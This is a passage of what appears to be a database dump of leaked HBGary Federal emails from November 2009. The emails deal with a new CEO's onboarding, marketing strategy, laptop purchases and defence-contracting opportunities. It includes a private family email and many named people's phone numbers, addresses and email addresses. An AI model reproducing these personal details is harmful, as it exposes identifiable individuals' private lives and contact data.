yesterday.\r\n\r\nThanks,\r\nAaron\r\n\r\n From my iPhone\r\n',2331,'aaron_hbgary_com/2331.html'),(136,'2009-11-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999662.M737749P3547Q137.eml','\"Donna Barr\" <calliope53@verizon.net>,\"Janelle Barr\" <janellebarr1@aol.com>','','I don\'t want to talk right now.  Things are complicated, stressed,  \r\nprobably ending and involving you would just make it worse at this  \r\npoint.  Kind of like the email you sent Janelle where you said you had  \r\nto stay positive, right now I need to stay focused on navigating  \r\nwhatever we are going through with the best possible outcome for my  \r\nkids. Everything else has to wait.\r\n\r\nI have to say it because I am thinking it so often, I wish you had  \r\nreached out when I had asked for it.  I kept trying out of love for  \r\nyou and Sandy.\r\n\r\nAaron\r\n',15066,'aaron_hbgary_com/15066.html'),(137,'2009-11-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999662.M86723P3547Q134.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Market/Business Analysis','Hi Greg/Penny,\r\n\r\nI hope your thanksgiving was good and full.  I am really looking  \r\nforward to getting together week after next, and coming out west the  \r\nweek after that to get to know the rest of the team.\r\n\r\nA few questions.  I know there has been somewhat of a rebranding  \r\neffort.  What is the vision of the brand of HBGary?  Is it incident  \r\nresponse for the enterprise?  Or does it reside significantly in  \r\ntraditional forensics, law enforcement type capabilities?  I was  \r\nreading through some of the data sheets and see a lot leaning more to  \r\nthe forensics side.  Punch line of the questions, would it be  \r\nworthwhile to have a branding session to discuss the messages you want  \r\nto convey on the website and on the datasheets.  Ted and I can provide  \r\nthe context of what will resonate on the national and federal scene, I  \r\nam sure both of you have been hearing to some degree many of the same  \r\nthings.\r\n\r\nJust a thought.  As I was starting to do my own laymans competitive  \r\nanalysis through open source research, I notice brands like Mandiant  \r\nand Fireeye to name a few are focusing on the incident response.  Big  \r\nletters above the fold on main pages, reads \"addressing the advanced  \r\npersistent threat\", etc.\r\n\r\nMaybe there is a play between what HBGary and HBGary federal focuses  \r\non.  Some of the same capabilities, but matter of focus?\r\n\r\nAaron\r\n',7349,'aaron_hbgary_com/7349.html'),(138,'2009-11-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999662.M951740P3547Q138.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Laptop','DeeAnn,\r\n\r\nDepending on your success in getting a mac through your purchasing  \r\nchannels, as an option I can just go buy one and submit reimbursement  \r\nif that would be easier.  Either way.\r\n\r\nThanks,\r\nAaron\r\n',500,'aaron_hbgary_com/500.html'),(139,'2009-11-29','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999663.M140019P3547Q139.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: Demo',' \r\nWe have an ESX server at our data facility specifically for doing demo&#39;s of the enterprise products (McAfee integration and the Active Defense product), and we can build a VM for you as well that you can run from your local laptop for the same.  The server downtown is quarantined so you can install real malware in that environment, and it has 10 or so client machines that connect in.  For Responder specifically, its best just to install it live on your local system since its just a stand alone product.\r\n\r\n \r\nScott will give you support regarding product installations.  Of course, both Phil and Rich are very good at demoing the software.  If you have a prospect, we can bring in either to assist as an SE.\r\n \r\n-Greg\r\n \r\nOn Sat, Nov 28, 2009 at 11:35 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nGreg,Do you have a VMWare image set up for responder demos?Ted\r\n\r\n',16658,'aaron_hbgary_com/16658.html'),(140,'2009-11-29','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999663.M324436P3547Q140.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Market/Business Analysis','Aaron,\r\n \r\nI think this would be very valuable.  I, for one, want to move away from the Forensics messaging entirely.  Forensics is a small message, and it has nothing to do with Digital DNA.  Malware is the big play, and threat is the big play.  I think we have done reasonable well with the Digital DNA part of our messaging, and this is reflected in the three big graphical panels on our frontpage.  However, alot of the more detailed messages (data sheets etc) have not been rebranded to such an extent.  In terms of addressing persistent threat, our technology _roasts_ Mandiant.  However, they have their enteprise solution already in field and we are still looking at Q1 at best for the active defense release.  Also, Mandiant is really a service company, not product, as far as I can tell.  While HBGary Federal is going to compete more directly with Mandiant, HBGary proper is very product focused.  We should work out a new messaging push for next year.  2010 is going to be very big for us.\r\n\r\n \r\n-Greg\r\nOn Fri, Nov 27, 2009 at 8:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Greg/Penny,I hope your thanksgiving was good and full.  I am really looking forward to getting together week after next, and coming out west the week after that to get to know the rest of the team.\r\nA few questions.  I know there has been somewhat of a rebranding effort.  What is the vision of the brand of HBGary?  Is it incident response for the enterprise?  Or does it reside significantly in traditional forensics, law enforcement type capabilities?  I was reading through some of the data sheets and see a lot leaning more to the forensics side.  Punch line of the questions, would it be worthwhile to have a branding session to discuss the messages you want to convey on the website and on the datasheets.  Ted and I can provide the context of what will resonate on the national and federal scene, I am sure both of you have been hearing to some degree many of the same things.\r\nJust a thought.  As I was starting to do my own laymans competitive analysis through open source research, I notice brands like Mandiant and Fireeye to name a few are focusing on the incident response.  Big letters above the fold on main pages, reads &quot;addressing the advanced persistent threat&quot;, etc.\r\nMaybe there is a play between what HBGary and HBGary federal focuses on.  Some of the same capabilities, but matter of focus?Aaron\r\n',1899,'aaron_hbgary_com/1899.html'),(141,'2009-11-29','\"Greene, Brent (IS)\" <Brenton.Greene@ngc.com>','/aaron@hbgary.com/new/1296999663.M532049P3547Q141.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:New Position','Thanks Aaron. Let\'s stay in touch.\r\nBest wishes.\r\nBrent\r\n\r\nBrenton Greene\r\nVice President, National Security Communications\r\nNorthrop Grumman Corporation\r\n7575 Colshire Drive, Rm 5255W\r\nMcLean, VA  22102-7508\r\nBrenton.Greene@ngc.com\r\nColshire Office (703) 556-2026\r\nCell (443) 306-4055\r\nefax (978) 684-3775\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, November 24, 2009 3:21 PM\r\nTo: Freeman, William E. (IS); Boyle, Vern (IS); Leary, Mark F (IT\r\nSolutions); Sage, Scott E (IS); Yu, Jeffrey C (IS); Greene, Brent (IS);\r\nValentino, Christopher (IS); Chistopher.barnett@ngc.com\r\nSubject: EXTERNAL:New Position\r\n\r\nHi All,\r\n\r\nJust wanted to let you know since most of you expressed interest in  \r\nknowing where I land.  I will be starting Monday as the new CEO of  \r\nHBGary Federal.  Ted Vera is coming on as the President and COO.  It  \r\nshould be a fun ride.  HBGary has a discriminating set of products  \r\nfocused on malware analysis and incident response.\r\n\r\nTalk to you all at some point.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n',13592,'aaron_hbgary_com/13592.html'),(142,'2009-11-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999663.M728084P3547Q142.eml','\"Greene, Brent (IS)\" <Brenton.Greene@ngc.com>','Re: EXTERNAL:New Position','Vice president... Congratulations.\r\n\r\n From my iPhone\r\n\r\nOn Nov 29, 2009, at 1:50 PM, \"Greene, Brent (IS)\"  wrote:\r\n\r\n> Thanks Aaron. Let\'s stay in touch.\r\n> Best wishes.\r\n> Brent\r\n>\r\n> Brenton Greene\r\n> Vice President, National Security Communications\r\n> Northrop Grumman Corporation\r\n> 7575 Colshire Drive, Rm 5255W\r\n> McLean, VA  22102-7508\r\n> Brenton.Greene@ngc.com\r\n> Colshire Office (703) 556-2026\r\n> Cell (443) 306-4055\r\n> efax (978) 684-3775\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, November 24, 2009 3:21 PM\r\n> To: Freeman, William E. (IS); Boyle, Vern (IS); Leary, Mark F (IT\r\n> Solutions); Sage, Scott E (IS); Yu, Jeffrey C (IS); Greene, Brent\r\n> (IS);\r\n> Valentino, Christopher (IS); Chistopher.barnett@ngc.com\r\n> Subject: EXTERNAL:New Position\r\n>\r\n> Hi All,\r\n>\r\n> Just wanted to let you know since most of you expressed interest in\r\n> knowing where I land.  I will be starting Monday as the new CEO of\r\n> HBGary Federal.  Ted Vera is coming on as the President and COO.  It\r\n> should be a fun ride.  HBGary has a discriminating set of products\r\n> focused on malware analysis and incident response.\r\n>\r\n> Talk to you all at some point.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n>\r\n>\r\n',15844,'aaron_hbgary_com/15844.html'),(143,'2009-11-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999663.M993076P3547Q143.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Laptop','Do you know if she got them ordered?\r\n\r\n\r\n\r\nOn Nov 29, 2009, at 8:55 AM, Aaron Barr  wrote:\r\n\r\n> DeeAnn,\r\n>\r\n> Depending on your success in getting a mac through your purchasing\r\n> channels, as an option I can just go buy one and submit\r\n> reimbursement if that would be easier.  Either way.\r\n>\r\n> Thanks,\r\n> Aaron\r\n',8085,'aaron_hbgary_com/8085.html'),(144,'2009-11-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999664.M351782P3547Q144.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Laptop','Nope.  I wud go get it today if I got the ok\r\n\r\n From my iPhone\r\n\r\nOn Nov 29, 2009, at 2:49 PM, Ted Vera  wrote:\r\n\r\n> Do you know if she got them ordered?\r\n>\r\n>\r\n>\r\n> On Nov 29, 2009, at 8:55 AM, Aaron Barr  wrote:\r\n>\r\n>> DeeAnn,\r\n>>\r\n>> Depending on your success in getting a mac through your purchasing\r\n>> channels, as an option I can just go buy one and submit\r\n>> reimbursement if that would be easier.  Either way.\r\n>>\r\n>> Thanks,\r\n>> Aaron\r\n',14509,'aaron_hbgary_com/14509.html'),(145,'2009-11-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999664.M568799P3547Q145.eml','\"Ted Vera\" <ted@hbgary.com>','Competitive Analysis Document','I started a new document to capture competitive analysis information.\r\n\r\nAaron\r\n',9729,'aaron_hbgary_com/9729.html'),(146,'2009-11-30','\"Greene, Brent (IS)\" <Brenton.Greene@ngc.com>','/aaron@hbgary.com/new/1296999664.M767597P3547Q146.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:New Position','Aaron,\r\nNo - when Wood hired me into TASC, it was with a VP title but director\r\nlevel benefits.  Since it was in my hiring contract, I use that for\r\noutside linkages.\r\nBest regards,\r\nBrent\r\n\r\nBrenton Greene\r\nVice President, National Security Communications\r\nNorthrop Grumman Corporation\r\n7575 Colshire Drive, Rm 5255W\r\nMcLean, VA  22102-7508\r\nBrenton.Greene@ngc.com\r\nColshire Office (703) 556-2026\r\nCell (443) 306-4055\r\nefax (978) 684-3775\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, November 29, 2009 2:12 PM\r\nTo: Greene, Brent (IS)\r\nSubject: Re: EXTERNAL:New Position\r\n\r\nVice president... Congratulations.\r\n\r\n From my iPhone\r\n\r\nOn Nov 29, 2009, at 1:50 PM, \"Greene, Brent (IS)\"\r\n wrote:\r\n\r\n> Thanks Aaron. Let\'s stay in touch.\r\n> Best wishes.\r\n> Brent\r\n>\r\n> Brenton Greene\r\n> Vice President, National Security Communications\r\n> Northrop Grumman Corporation\r\n> 7575 Colshire Drive, Rm 5255W\r\n> McLean, VA  22102-7508\r\n> Brenton.Greene@ngc.com\r\n> Colshire Office (703) 556-2026\r\n> Cell (443) 306-4055\r\n> efax (978) 684-3775\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, November 24, 2009 3:21 PM\r\n> To: Freeman, William E. (IS); Boyle, Vern (IS); Leary, Mark F (IT\r\n> Solutions); Sage, Scott E (IS); Yu, Jeffrey C (IS); Greene, Brent\r\n> (IS);\r\n> Valentino, Christopher (IS); Chistopher.barnett@ngc.com\r\n> Subject: EXTERNAL:New Position\r\n>\r\n> Hi All,\r\n>\r\n> Just wanted to let you know since most of you expressed interest in\r\n> knowing where I land.  I will be starting Monday as the new CEO of\r\n> HBGary Federal.  Ted Vera is coming on as the President and COO.  It\r\n> should be a fun ride.  HBGary has a discriminating set of products\r\n> focused on malware analysis and incident response.\r\n>\r\n> Talk to you all at some point.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n>\r\n>\r\n',3962,'aaron_hbgary_com/3962.html'),(147,'2009-11-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999664.M951198P3547Q147.eml','all@hbgary.com','Ideas for REcon and logging data outside of Responder','Regarding REcon,\r\n \r\nWe need a log window in REcon that shows all the relevant registry paths, file paths, and process launch / process injection data.  This should be easy for the user to save off in a log file.  This should be similar to the data printed off by debug view in the original REcon.  We should NOT include the following information:\r\n\r\n \r\n - sample data from trace control flow\r\n - sample data from networking functions\r\n \r\nWe need to print off this data because freeware tools also do the same.  If we don&#39;t, the users will continue to use freeware tools.  While we want to prevent piracy of the REcon tool, we also need to compete with the tools (while shitty they are) that already exist for free.  I posit that the advantage of getting internal control flow (and thus decrypted buffers) and the advantage of capturing packets (i hope a freeware tool doesn&#39;t have us on that too), we should be able keep REcon above the freeware morass.\r\n\r\n \r\nWe have to offer something compelling beyond the log file, something that makes the user want to import it into Responder.  We have to identify something that:\r\n \r\n  1) isn&#39;t serviced by freeware\r\n  2) and it totally intoxicating in it&#39;s power, that users will be compelled to use Responder to open the FBJ file\r\n \r\nIdeas?\r\n \r\n-Greg\r\n',4613,'aaron_hbgary_com/4613.html'),(148,'2009-11-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999665.M132702P3547Q148.eml','\"Rod Smith\" <rsmith@abraxascorp.com>,\"Rod Smith\" <rsmith@abraxascorp.com>','Meeting to Discuss Possible Partnership','Rod,\r\n\r\nI recently left Northrop Grumman to take a position as the CEO of  \r\nHBGary Federal, a small but highly capable malware analysis and  \r\nincident response product company.  While at Northrop I built some  \r\ninformation operations technical capabilities for a customer you are  \r\nfamiliar with.  As I look across the list of bidders authorized for  \r\nthis RFP I recognize the best possible fit for my vision for the  \r\ncompany is Abraxas.  I created the capabilities there and to some  \r\ndegree I believe I am still considered one of the focal reasons for  \r\nthe growth of the internet operations part of the organization.  As  \r\nyou may know there is an RFP due out very soon for that work, and I  \r\nwould like to talk to your team about possible teaming opportunities.   \r\nI think our intimate knowledge and expertise of the specific mission  \r\nas well as proven track record for innovation in that space can help  \r\nassure a strong win for the Abraxas team and help minimize risk to the  \r\ncustomer during a transition.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n',1834,'aaron_hbgary_com/1834.html'),(149,'2009-11-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999665.M344860P3547Q149.eml','\"Brian Masterson\" <brian.masterson@ngc.com>,\"Brian Masterson\" <brian.masterson@ngc.com>','Talking points for Tomorrow','Hey Brian,\r\n\r\nI wanted to give you some things to think about before we meet  \r\ntomorrow for lunch.\r\n\r\nWhat I want to get out of the meeting with Palantir is an  \r\nunderstanding and agreement on approach.\r\n\r\nApproach:\r\nCombine HBGary and Palantir products to create an incident handlers/ \r\nmalware analyst toolsuite and knowledge management capability.  Xetron  \r\nand HBGary Federal will supply the highly trained analysts that we  \r\nwill place in customer spaces to utilize these tools.  With these  \r\ntools we can also then share that knowledge and expertise across the  \r\nenterprise.  Other discussions might be somewhat of a brainstorming  \r\nsession, and of course just a general intro of capabilities for our  \r\nteams, etc.  Sound good?\r\n\r\nAaron\r\n',3065,'aaron_hbgary_com/3065.html'),(150,'2009-11-30','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999665.M632196P3547Q150.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Talking points for Tomorrow','Aaron,\r\nSounds good.  Would also like to look at how to factor in the next\r\ngeneration in sensor technology.  What you told me HBGary is working on\r\ngot me thinking and seeing what Chris Kennedy has at Justice.  Can you\r\npackage that with the analytics you discussed to get more real-time\r\nupdates to the front-end.\r\nHad flight problem so not landing til 1130.  Will call you when I get on\r\nthe ground.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, November 29, 2009 11:39 PM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Ted Vera\r\nSubject: Talking points for Tomorrow\r\n\r\nHey Brian,\r\n\r\nI wanted to give you some things to think about before we meet  \r\ntomorrow for lunch.\r\n\r\nWhat I want to get out of the meeting with Palantir is an  \r\nunderstanding and agreement on approach.\r\n\r\nApproach:\r\nCombine HBGary and Palantir products to create an incident handlers/ \r\nmalware analyst toolsuite and knowledge management capability.  Xetron  \r\nand HBGary Federal will supply the highly trained analysts that we  \r\nwill place in customer spaces to utilize these tools.  With these  \r\ntools we can also then share that knowledge and expertise across the  \r\nenterprise.  Other discussions might be somewhat of a brainstorming  \r\nsession, and of course just a general intro of capabilities for our  \r\nteams, etc.  Sound good?\r\n\r\nAaron\r\n',1503,'aaron_hbgary_com/1503.html'),(151,'2009-11-30','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1296999665.M992719P3547Q151.eml','\"Aaron Barr\" <aaron@hbgary.com>','Jim Barnett has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Jim are now connected.\r\n\r\n \r\n   \r\n   View Jim\'s profile to:\r\n     \r\n       Download Jim\'s current contact information\r\n       Write a recommendation for Jim\r\n       Find opportunities through Jim\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/1110792/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n',3836,'aaron_hbgary_com/3836.html'),(152,'2009-11-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999666.M167514P3547Q152.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: D -- CYBER INTEGRATION ENVIRONMENT','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nWe are not involved in this opportunity, but we have done business\r\nwith the 950th before.&nbsp; They like us and have indicated they\r\nwanted to do more with us, especially if we had clearances.&nbsp; A word of\r\ncaution&#8230;&#8230; the 950th is a squirrely bunch.&nbsp; It took\r\nmajor effort and time to get our past deal closed.&nbsp; They kept having more\r\nquestions, exercised us a lot, announced we were winners, took the contract\r\naway, had more questions, 3 months later disappeared without closing the deal,\r\nthen resurfaced 5 months later saying they wanted to do it.&nbsp; The deal\r\nclosed.&nbsp; &nbsp;&nbsp;My impression is that their RFPs and ambitions talk a\r\nbigger game than they have money or ability.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, November 25, 2009 7:20 PM\r\nTo: Barr Aaron; Bob Slapnik; Greg Hoglund\r\nSubject: D -- CYBER INTEGRATION ENVIRONMENT\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob/Greg,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIs HBGary engaged on this opportunity?\r\nExcerpt and link to FBO.gov below.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nv/r\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe CYBER Integration Environment (CIE)\r\nprovides the IT Infrastructure/services that support the execution of\r\nRapid/Agile acquisition, integration, and sustainment for Air Force Computer\r\nNetwork Defense (CND) / Computer Network Attack (CNA) capabilities depicted in\r\nFigure 1 below. The focus of this RFI is to identify IT solutions and\r\ninfrastructure needed to support acquisition core competency and to bring\r\nexisting processes into a single framework.\r\n\r\nFor more technical information, contract Mr. James\r\nPalinkas at james.palinkas@lackland.af.mil\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c72e8be65fc7223a3550f98ab0d63b6e&amp;tab=core&amp;_cview=1\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9569,'aaron_hbgary_com/9569.html'),(153,'2009-11-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999667.M499432P3547Q153.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Senior Officer Cyber Warfare Training Course','Begin forwarded message:From: &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;\r\nTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: RE: Senior Officer Cyber Warfare Training Course\r\nTed,At present we have two official training called &quot;Using ResponderProfessional for Malware Analysis&quot; and another class for Responder Field\r\nEdition for law enforcement memory forensics (I don&#39;t have info for it -this class will be delivered in DC on Sept 8 for Secret Service).  HBGaryhas recently hired a guy to head training and he is expected to create\r\nmultiple trainings related to Responder.In Sept we delivered 5 days of training to Raytheon for Exploiting Softwarewhich is on the CNA side.  Over the past several years we&#39;ve delivered this\r\ntraining around 6 times.  Greg has wanted to end-of-life it, but I think weshould continue with it.  When we delivered it to Raytheon the class wasupgraded so it appears to be current and ready to be delivered again.\r\nMartin taught the first 3 days and we outsourced the last 2 days to MichaelEddington who trained on his Peach Fuzzer.  In the old training we taughtstudents how to develop a fuzzer.  With Eddington the students were taught\r\nhow to use an existing fuzzer.  All indications were that the training was acomplete success.  The attached proposal to Raytheon does not reflect the syllabus change -\r\nRaytheon agreed to the change after they gave us the PO.Bob From: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, November 25, 2009 7:32 PMTo: Bob Slapnik; Greg HoglundSubject: Fwd: Senior Officer Cyber Warfare Training Course\r\nBob,Does HBGary have a standard list of courses/training that we offer?  Seeopportunity below:\r\nTed---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Wed, Nov 25, 2009 at 5:25 PMSubject: Senior Officer Cyber Warfare Training CourseTo: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSenior Officer Cyber Warfare Training Coursehttps://www.fbo.gov/index?\r\n&lt;https://www.fbo.gov/index?&amp;s=opportunity&amp;mode=form&amp;id=fc57a5464f3754902adb2\r\n5bd9a3e6499&amp;tab=core&amp;tabmode=list&gt;&amp;s=opportunity&amp;mode=form&amp;id=fc57a5464f3754902adb25bd9a3e6499&amp;tab=core&amp;tabmode=list-- Ted H. Vera\r\nPresident | COOHBGary Federal, Inc.719-237-8623-- Ted H. VeraPresident | COO\r\nHBGary Federal, Inc.719-237-8623\r\n',13869,'aaron_hbgary_com/13869.html'),(154,'2009-11-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999667.M742762P3547Q154.eml','\"Bagby, Ryan\" <ryan.bagby@boeing.com>','Re: Right address','Hey Ryan,\r\n\r\nDo you have some time this Friday?  I am at the AFCEA cyber conference  \r\nWed/Thurs.\r\n\r\nAaron\r\n\r\n\r\nOn Nov 24, 2009, at 10:31 PM, Bagby, Ryan wrote:\r\n\r\n> Hey Aaron, Nice to hear from you. I\'d noticed I hadn\'t seen you  \r\n> around in a while; congratulations on the move.  I\'m actually out of  \r\n> town for the rest of the week, but would be happy to meet up next  \r\n> week if possible.  Right now anytime Thursday looks good for me.   \r\n> Let me know if that might work with your schedule.\r\n> --------------------------\r\n> Thanks,\r\n> Ryan\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Bagby, Ryan\r\n> Sent: Tue Nov 24 21:04:23 2009\r\n> Subject: Right address\r\n>\r\n> Hey Ryan,\r\n>\r\n> Not sure if this is the right address for you.  If it is shoot me a\r\n> note.  I am no longer with Northrop.  Recently took the position as\r\n> CEO of HBGary Federal.  I wanted to talk to you about the Customer\r\n> contract recompete.\r\n>\r\n> Thanks,\r\n> Aaron\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n\r\n',6878,'aaron_hbgary_com/6878.html'),(155,'2009-11-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999667.M926151P3547Q155.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: laptops and projectors for Ted and Aaron','Thanks for the speedy deliveries! &nbsp;Business cards came in last week. &nbsp;The VOIP phone came in this morning and is installed. &nbsp;Only thing left is the laptop. &nbsp;As I mentioned, if it would be easier I could go down the road to the apple store and buy it and submit the receipts. &nbsp;Whatever works.AaronOn Nov 24, 2009, at 5:11 PM, DeeAnn Buonaccorsi wrote:Hi Aaron,&nbsp;Penny is working on getting your Business cards for you by next week.&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGARY, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864tel:&nbsp;&nbsp; 916-459-4727&nbsp; ext.&nbsp; 101fax:&nbsp; 916-481-1460&nbsp;From:&nbsp;DeeAnn Buonaccorsi [mailto:deeann@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, November 24, 2009 2:10 PMTo:&nbsp;\'Aaron Barr\'Subject:&nbsp;RE: laptops and projectors for Ted and Aaron&nbsp;Hi Aaron,&nbsp;My supplier just called he does not supply Apple.&nbsp; I have a call in with a different supplier,&nbsp; I hope to hear from them soon.&nbsp; Sorry for &nbsp;the inconvenience.&nbsp; &nbsp;&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGARY, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864tel:&nbsp;&nbsp; 916-459-4727&nbsp; ext.&nbsp; 101fax:&nbsp; 916-481-1460&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 2:36 PMTo:&nbsp;DeeAnn BuonaccorsiSubject:&nbsp;Re: laptops and projectors for Ted and Aaron&nbsp;Thank you Deeann.AaronFrom my iPhoneOn Nov 23, 2009, at 5:34 PM, \"DeeAnn Buonaccorsi\" &lt;deeann@hbgary.com&gt; wrote:Hi Aaron,&nbsp;I am working on getting your computers &nbsp;now.&nbsp; I will get back to as soon as I hear back from my supplier.&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGARY, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864tel:&nbsp;&nbsp; 916-459-4727&nbsp; ext.&nbsp; 101fax:&nbsp; 916-481-1460&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 2:14 PMTo:&nbsp;deeann@hbgary.comCc:&nbsp;Ted Vera; Penny LeavySubject:&nbsp;laptops and projectors for Ted and Aaron&nbsp;2 of each&nbsp;2 Macbook Pros with the following Specs:·&nbsp; 2.66GHz Intel Core 2 Duo·&nbsp; 8GB 1066MHz DDR3 SDRAM - 2x4GB·&nbsp; 320GB Serial ATA Drive @ 5400 rpm·&nbsp; SuperDrive 8x (DVD±R DL/DVD±RW/CD-RW)·&nbsp; MacBook Pro 15-inch Antiglare Widescreen Display·&nbsp; None·&nbsp; Backlit Keyboard (English) / User\'s Guide·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; None·&nbsp; Apple MagSafe Airline Power Adapter·&nbsp; Apple Remote&nbsp;&nbsp;2 pico projectors:http://www.aaxatech.com/products/p2_pico_projector.htmNeed this cable as well, from accessories page:&nbsp;AAXA P2 iPod A/V Cable·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Carries audio/video signals·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Full VGA (640x480) 